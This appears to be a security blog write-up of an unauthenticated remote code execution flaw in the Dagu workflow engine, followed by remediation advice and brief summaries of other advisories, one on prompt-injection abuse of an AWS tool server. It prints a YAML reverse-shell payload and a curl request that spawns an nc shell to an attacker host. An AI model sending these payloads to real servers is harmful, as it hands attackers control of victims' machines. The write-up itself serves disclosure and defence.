Feb 20, 2026·4 min read·43 visits
Critical RCE in Dagu workflow engine. Default configuration exposes API endpoints without auth. Attackers can POST a YAML file to execute arbitrary shell commands.
Dagu, a lightweight Go-based workflow engine often used as a cron alternative, inadvertently provided 'RCE as a Service' in its default configuration. By failing to enforce authentication on API endpoints that accept inline DAG definitions, it allowed any unauthenticated attacker to execute arbitrary shell commands on the host server via simple HTTP requests.
Dagu is a nifty little tool. Written in Go, it bills itself as a developer-friendly cron replacement and workflow engine. It uses Directed Acyclic Graphs (DAGs) defined in YAML to manage dependencies and execute tasks. It's lightweight, self-contained, and comes with a shiny web UI. It's the kind of tool DevOps engineers love because it just works.
But here is the kicker: Dagu's entire purpose is to execute commands. That is its job. It takes a YAML file, reads the command field, and passes it to the operating system shell.
Now, imagine a tool designed to execute shell commands that, by default, listens on all interfaces (0.0.0.0) and requires no password. That isn't a vulnerability; that is a remote administration tool for attackers. GHSA-6QR9-G2XW-CW92 isn't a complex memory corruption bug; it's a feature working exactly as intended, but accessible to the wrong people.
The vulnerability stems from a classic "secure by default" failure. In affected versions of Dagu, the configuration for authentication was often permissive or entirely disabled out-of-the-box.
The application exposes an API (typically on port 8080) to manage DAGs. Specifically, there is an endpoint—often /api/v1/dags or /api/v2/dags—designed to accept "inline" DAGs. This feature allows a user to POST a YAML definition directly to the server to be executed immediately, bypassing the need to write files to the disk first.
Because the API lacked mandatory authentication checks in the default configuration, Dagu would blindly accept any POST request containing a YAML blob. It didn't care who sent it. It didn't ask for a token. It just parsed the YAML, saw a command, and said, "You got it, boss!"
Let's look at why this is so dangerous. In a typical RCE vulnerability (like Log4Shell or a deserialization flaw), we are tricking the application into doing something it wasn't supposed to do. We are corrupting memory or abusing gadget chains.
In Dagu's case, we are just asking it to do its job. The code path looks something like this (simplified logic):
POST /api/v1/dagsexec.Command(step.Command).There is no sanitization because the input is expected to be a shell command. The developer assumes that only trusted admins are submitting DAGs. The following YAML snippet is perfectly valid Dagu syntax, but it's also a death sentence for the server:
name: pwn_workflow
steps:
- name: reverse_shell
command: bash -c 'bash -i >& /dev/tcp/10.0.0.1/1337 0>&1'When Dagu receives this, it doesn't see an exploit. It sees a valid workflow step named reverse_shell and dutifully executes the command.
Exploiting this is trivially easy. You don't need Metasploit. You don't need a disassembler. You just need curl.
First, an attacker scans for port 8080. If they see the Dagu UI or a 404 from the API, they know they have a target. The exploitation involves sending a single HTTP request.
curl -X POST http://target-ip:8080/api/v1/dags \
-H "Content-Type: application/yaml" \
--data-binary $'name: malicious_dag\nsteps:\n - name: exploit\n command: "nc -e /bin/sh attacker-ip 4444"'Or, if the API expects a start action:
# Submit and trigger in one go (depending on API version)
curl -X POST "http://target-ip:8080/api/v1/dags?start=true" ...The moment that request lands, the Dagu process spawns a shell connecting back to the attacker. If Dagu is running inside a Docker container (common), the attacker now has a foothold in the container. If it's running as root on bare metal (uncommon but possible), it's game over immediately.
The remediation is straightforward: stop letting strangers talk to your workflow engine.
1. Enable Built-in Auth: The primary fix is to modify the config.yaml or environment variables to enforce authentication.
auth:
mode: builtin # This was likely "none" or unset before
username: admin
password: "PleaseChangeMeToSomethingStrong"2. Network Isolation: Why is your workflow engine exposed to the internet? Put it behind a VPN, a reverse proxy with Basic Auth, or bind it to localhost (127.0.0.1) if it's only needed locally.
3. Least Privilege: Ensure the user running the Dagu process has limited permissions. It shouldn't be running as root. If an attacker does get code execution, don't give them the keys to the castle.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Dagu dagu-org | < Feb 2026 Patch | Feb 2026 Release |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-306 |
| Attack Vector | Network |
| CVSS | 9.8 (Critical) |
| Impact | Remote Code Execution |
| Exploit Status | Functional PoC |
| Authentication | None Required (Default) |
The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.